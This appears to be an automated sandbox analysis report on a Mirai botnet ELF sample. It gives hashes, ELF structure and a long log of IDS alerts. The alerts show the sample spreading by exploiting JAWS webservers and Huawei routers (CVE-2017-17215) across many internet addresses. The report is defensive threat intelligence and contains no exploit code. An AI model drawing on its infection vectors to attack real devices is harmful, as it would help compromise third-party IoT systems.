	arm7.elf	Get hash	malicious	Mirai	Browse	76.129.159.50
	mips.elf	Get hash	malicious	Mirai	Browse	96.93.219.47
	teste.arm7.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	76.113.232.18
	teste.arm.elf	Get hash	malicious	Gafgyt, Mirai, Moobot, Okiru	Browse	76.136.2.23
	xd.mpsl.elf	Get hash	malicious	Mirai	Browse	96.194.11.133
	xd.mips.elf	Get hash	malicious	Mirai	Browse	73.228.172.228

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.467834635999765
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	x86.elf
File size:	63'568 bytes
MD5:	6270c32abec4811eac225d85d0970fac
SHA1:	7fd15114c7ecdd3a0322263794846196c2e40e5d
SHA256:	b107d6730941c0090b2c61cf0a1ecdbd8d7f58d941c46c6d28120a7c14e6e16c
SHA512:	486b03ea0cf6c34dba26fdaeb2e6699779901bbcdeef8df51e80968ae0d40bf1562a84e315c7b2c783b740ffee47f9adb142c22d510a27fc736dcb9699b9879c
SSDEEP:	1536:CuQtv+dR0I0GJ7m6Ba6kt9S6G3jO/Yh+NIuN3:CuQv+dRI+Sga3DpGCQCI
TLSH:	90534BC5A943DDF5EC011A743177BF318B76E53F112ADA86E3AC9A73AD43602A00729C
File Content Preview:	.ELF....................d...4...........4. ...(..................... ... ...............$...$...$...\...<...........Q.td............................U..S............h........[]...$.............U......=.....t..5....d......d.......u........t....h u..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	63168
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xde16	0x0	0x6	AX	16
.fini	PROGBITS	0x8055ec6	0xdec6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x8055ee0	0xdee0	0x1640	0x0	0x2	A	32
.ctors	PROGBITS	0x8058524	0xf524	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x805852c	0xf52c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8058560	0xf560	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x8058680	0xf680	0x7e0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0xf680	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xf520	0xf520	6.4878	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0xf524	0x8058524	0x8058524	0x15c	0x93c	4.3255	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-03T23:02:00.526356+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	50942	149.51.174.90	80	TCP
2024-12-03T23:02:00.526356+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	50942	149.51.174.90	80	TCP
2024-12-03T23:02:03.885751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33866	72.27.41.155	80	TCP
2024-12-03T23:02:03.885751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33866	72.27.41.155	80	TCP
2024-12-03T23:02:08.576439+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59618	78.83.13.70	80	TCP
2024-12-03T23:02:08.576439+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59618	78.83.13.70	80	TCP
2024-12-03T23:02:11.878430+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57192	1.57.198.16	80	TCP
2024-12-03T23:02:11.878430+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57192	1.57.198.16	80	TCP
2024-12-03T23:02:11.909341+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49548	144.233.250.218	80	TCP
2024-12-03T23:02:11.909341+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49548	144.233.250.218	80	TCP
2024-12-03T23:02:11.962917+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35186	135.15.7.163	80	TCP
2024-12-03T23:02:11.962917+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35186	135.15.7.163	80	TCP
2024-12-03T23:02:12.761427+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	55322	151.59.53.207	80	TCP
2024-12-03T23:02:12.761427+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	55322	151.59.53.207	80	TCP
2024-12-03T23:02:12.822012+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	41578	184.47.95.238	80	TCP
2024-12-03T23:02:12.822012+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	41578	184.47.95.238	80	TCP
2024-12-03T23:02:12.837635+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57012	75.244.175.40	80	TCP
2024-12-03T23:02:12.837635+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57012	75.244.175.40	80	TCP
2024-12-03T23:02:12.838140+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33014	124.90.254.6	80	TCP
2024-12-03T23:02:12.838140+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33014	124.90.254.6	80	TCP
2024-12-03T23:02:12.838142+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	48238	92.205.42.249	80	TCP
2024-12-03T23:02:12.838142+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	48238	92.205.42.249	80	TCP
2024-12-03T23:02:12.853137+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40858	184.220.227.77	80	TCP
2024-12-03T23:02:12.853137+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40858	184.220.227.77	80	TCP
2024-12-03T23:02:12.853681+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	33264	60.164.109.203	80	TCP
2024-12-03T23:02:12.853681+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	33264	60.164.109.203	80	TCP
2024-12-03T23:02:12.877983+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	54432	158.67.27.131	80	TCP
2024-12-03T23:02:12.877983+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	54432	158.67.27.131	80	TCP
2024-12-03T23:02:12.884309+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44122	124.180.100.208	80	TCP
2024-12-03T23:02:12.884309+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44122	124.180.100.208	80	TCP
2024-12-03T23:02:12.899948+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	44190	112.16.175.41	80	TCP
2024-12-03T23:02:12.899948+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	44190	112.16.175.41	80	TCP
2024-12-03T23:02:12.909349+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	57712	212.110.217.75	80	TCP
2024-12-03T23:02:12.909349+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	57712	212.110.217.75	80	TCP
2024-12-03T23:02:12.909383+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	56846	203.53.63.115	80	TCP
2024-12-03T23:02:12.909383+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	56846	203.53.63.115	80	TCP
2024-12-03T23:02:12.909667+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	46592	79.149.81.197	80	TCP
2024-12-03T23:02:12.909667+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	46592	79.149.81.197	80	TCP
2024-12-03T23:02:12.909761+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37830	165.207.12.117	80	TCP
2024-12-03T23:02:12.909761+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37830	165.207.12.117	80	TCP
2024-12-03T23:02:13.931392+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59156	82.120.56.10	80	TCP
2024-12-03T23:02:13.931392+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59156	82.120.56.10	80	TCP
2024-12-03T23:02:13.946792+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	36418	208.239.12.189	80	TCP
2024-12-03T23:02:13.946792+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	36418	208.239.12.189	80	TCP
2024-12-03T23:02:13.946881+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	43232	164.63.62.180	80	TCP
2024-12-03T23:02:13.946881+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	43232	164.63.62.180	80	TCP
2024-12-03T23:02:13.978247+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59542	205.244.238.92	80	TCP
2024-12-03T23:02:13.978247+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59542	205.244.238.92	80	TCP
2024-12-03T23:02:13.978276+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	51932	64.182.50.28	80	TCP
2024-12-03T23:02:13.978276+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	51932	64.182.50.28	80	TCP
2024-12-03T23:02:13.987428+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	45350	143.150.243.101	80	TCP
2024-12-03T23:02:13.987428+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	45350	143.150.243.101	80	TCP
2024-12-03T23:02:13.987706+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42816	73.36.157.53	80	TCP
2024-12-03T23:02:13.987706+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42816	73.36.157.53	80	TCP
2024-12-03T23:02:13.987842+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	60278	123.52.192.123	80	TCP
2024-12-03T23:02:13.987842+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	60278	123.52.192.123	80	TCP
2024-12-03T23:02:13.988011+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42460	146.63.138.246	80	TCP
2024-12-03T23:02:13.988011+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42460	146.63.138.246	80	TCP
2024-12-03T23:02:13.988187+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59862	111.235.227.103	80	TCP
2024-12-03T23:02:13.988187+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59862	111.235.227.103	80	TCP
2024-12-03T23:02:13.988288+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	35854	81.114.132.64	80	TCP
2024-12-03T23:02:13.988288+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	35854	81.114.132.64	80	TCP
2024-12-03T23:02:14.003444+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59076	177.233.205.201	80	TCP
2024-12-03T23:02:14.003444+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59076	177.233.205.201	80	TCP
2024-12-03T23:02:14.039874+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	37200	198.53.211.167	80	TCP
2024-12-03T23:02:14.039874+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	37200	198.53.211.167	80	TCP
2024-12-03T23:02:14.040079+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	39438	68.184.62.249	80	TCP
2024-12-03T23:02:14.040079+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	39438	68.184.62.249	80	TCP
2024-12-03T23:02:14.040205+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	53688	50.151.21.8	80	TCP
2024-12-03T23:02:14.040205+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	53688	50.151.21.8	80	TCP
2024-12-03T23:02:14.696795+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57020	156.61.209.114	37215	TCP
2024-12-03T23:02:14.697128+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57306	156.110.162.239	37215	TCP
2024-12-03T23:02:14.697188+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46368	197.41.187.197	37215	TCP
2024-12-03T23:02:14.697219+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45100	156.28.189.147	37215	TCP
2024-12-03T23:02:14.697303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41374	41.186.242.231	37215	TCP
2024-12-03T23:02:14.712659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43962	41.128.193.69	37215	TCP
2024-12-03T23:02:14.712659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59700	41.9.223.148	37215	TCP
2024-12-03T23:02:14.712664+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41410	156.67.96.70	37215	TCP
2024-12-03T23:02:14.712928+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52456	197.123.236.32	37215	TCP
2024-12-03T23:02:14.713054+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49108	156.75.54.186	37215	TCP
2024-12-03T23:02:14.721752+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42846	156.158.172.243	37215	TCP
2024-12-03T23:02:14.721862+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41272	41.56.205.34	37215	TCP
2024-12-03T23:02:14.728162+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	44818	197.179.146.198	37215	TCP
2024-12-03T23:02:14.728291+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52114	41.185.84.32	37215	TCP
2024-12-03T23:02:14.728422+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47630	156.44.235.16	37215	TCP
2024-12-03T23:02:14.728692+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49474	156.114.247.128	37215	TCP
2024-12-03T23:02:14.737328+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	52016	197.195.206.136	37215	TCP
2024-12-03T23:02:14.737412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58514	197.112.141.250	37215	TCP
2024-12-03T23:02:14.737537+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50588	156.23.144.81	37215	TCP
2024-12-03T23:02:14.737616+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48106	197.158.151.68	37215	TCP
2024-12-03T23:02:14.743721+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42668	41.51.237.63	37215	TCP
2024-12-03T23:02:14.743837+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37384	197.59.205.72	37215	TCP
2024-12-03T23:02:14.743911+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60860	197.201.203.200	37215	TCP
2024-12-03T23:02:14.744012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43964	197.3.154.235	37215	TCP
2024-12-03T23:02:14.744145+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48344	197.123.157.24	37215	TCP
2024-12-03T23:02:14.744259+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48890	197.213.139.45	37215	TCP
2024-12-03T23:02:14.744364+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45800	156.146.0.173	37215	TCP
2024-12-03T23:02:14.744591+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35196	156.30.14.110	37215	TCP
2024-12-03T23:02:14.752999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34620	197.69.230.169	37215	TCP
2024-12-03T23:02:14.753114+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43268	156.134.142.216	37215	TCP
2024-12-03T23:02:14.753312+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	48340	41.182.228.106	37215	TCP
2024-12-03T23:02:14.759285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	55288	197.79.233.80	37215	TCP
2024-12-03T23:02:14.759396+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45280	156.76.37.56	37215	TCP
2024-12-03T23:02:14.759491+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53726	197.167.188.184	37215	TCP
2024-12-03T23:02:14.759612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	59634	156.205.236.9	37215	TCP
2024-12-03T23:02:14.768666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38152	156.64.119.227	37215	TCP
2024-12-03T23:02:14.768846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45944	41.89.254.96	37215	TCP
2024-12-03T23:02:14.768958+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54428	41.153.210.0	37215	TCP
2024-12-03T23:02:14.769167+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38648	197.235.235.154	37215	TCP
2024-12-03T23:02:14.769285+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	46464	41.155.219.178	37215	TCP
2024-12-03T23:02:14.769344+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56880	197.163.246.243	37215	TCP
2024-12-03T23:02:14.769450+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40346	197.169.178.55	37215	TCP
2024-12-03T23:02:14.769544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49302	197.161.10.65	37215	TCP
2024-12-03T23:02:14.769609+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	49966	156.180.14.86	37215	TCP
2024-12-03T23:02:14.769726+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38762	41.8.68.180	37215	TCP
2024-12-03T23:02:14.769784+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	42426	156.92.88.230	37215	TCP
2024-12-03T23:02:14.786263+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	50946	41.237.37.216	37215	TCP
2024-12-03T23:02:14.786399+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40266	156.155.195.253	37215	TCP
2024-12-03T23:02:14.786501+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47254	41.29.72.16	37215	TCP
2024-12-03T23:02:14.786642+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39598	41.164.73.85	37215	TCP
2024-12-03T23:02:14.786783+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60072	41.102.141.16	37215	TCP
2024-12-03T23:02:14.786901+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	34966	41.38.16.103	37215	TCP
2024-12-03T23:02:14.787027+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43080	41.235.143.156	37215	TCP
2024-12-03T23:02:14.787141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	37894	197.57.152.227	37215	TCP
2024-12-03T23:02:14.787282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35620	156.29.58.55	37215	TCP
2024-12-03T23:02:14.787399+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	51570	156.31.133.222	37215	TCP
2024-12-03T23:02:14.787568+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	38496	41.29.43.123	37215	TCP
2024-12-03T23:02:14.791740+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39612	197.17.133.49	37215	TCP
2024-12-03T23:02:14.792085+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	40626	41.42.112.90	37215	TCP
2024-12-03T23:02:14.792335+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	54440	197.25.2.28	37215	TCP
2024-12-03T23:02:14.792612+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	53770	197.95.113.211	37215	TCP
2024-12-03T23:02:14.792807+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39254	197.122.183.130	37215	TCP
2024-12-03T23:02:14.793140+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	35976	197.220.67.112	37215	TCP
2024-12-03T23:02:16.559536+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	57354	156.96.122.224	37215	TCP
2024-12-03T23:02:16.697217+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	36916	197.198.188.20	37215	TCP
2024-12-03T23:02:16.909303+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	43294	156.208.58.152	37215	TCP
2024-12-03T23:02:16.915546+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45290	156.85.239.222	37215	TCP
2024-12-03T23:02:16.915736+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42998	184.145.222.88	80	TCP
2024-12-03T23:02:16.915736+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42998	184.145.222.88	80	TCP
2024-12-03T23:02:16.931214+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41656	41.204.44.51	37215	TCP
2024-12-03T23:02:16.931396+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	59660	40.208.105.235	80	TCP
2024-12-03T23:02:16.931396+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	59660	40.208.105.235	80	TCP
2024-12-03T23:02:16.931589+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	38670	57.16.75.18	80	TCP
2024-12-03T23:02:16.931589+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	38670	57.16.75.18	80	TCP
2024-12-03T23:02:16.931689+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	33942	41.243.122.209	37215	TCP
2024-12-03T23:02:16.946830+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58952	197.213.172.174	37215	TCP
2024-12-03T23:02:16.946977+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	39884	41.223.100.164	37215	TCP
2024-12-03T23:02:16.947073+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	58152	156.177.86.195	37215	TCP
2024-12-03T23:02:16.947195+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	45240	41.34.236.132	37215	TCP
2024-12-03T23:02:16.956041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	60102	156.199.249.209	37215	TCP
2024-12-03T23:02:16.960300+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	41356	197.7.151.132	37215	TCP
2024-12-03T23:02:16.962493+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	52416	140.3.1.82	80	TCP
2024-12-03T23:02:16.962493+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	52416	140.3.1.82	80	TCP
2024-12-03T23:02:16.978015+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	32814	219.81.41.173	80	TCP
2024-12-03T23:02:16.978015+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	32814	219.81.41.173	80	TCP
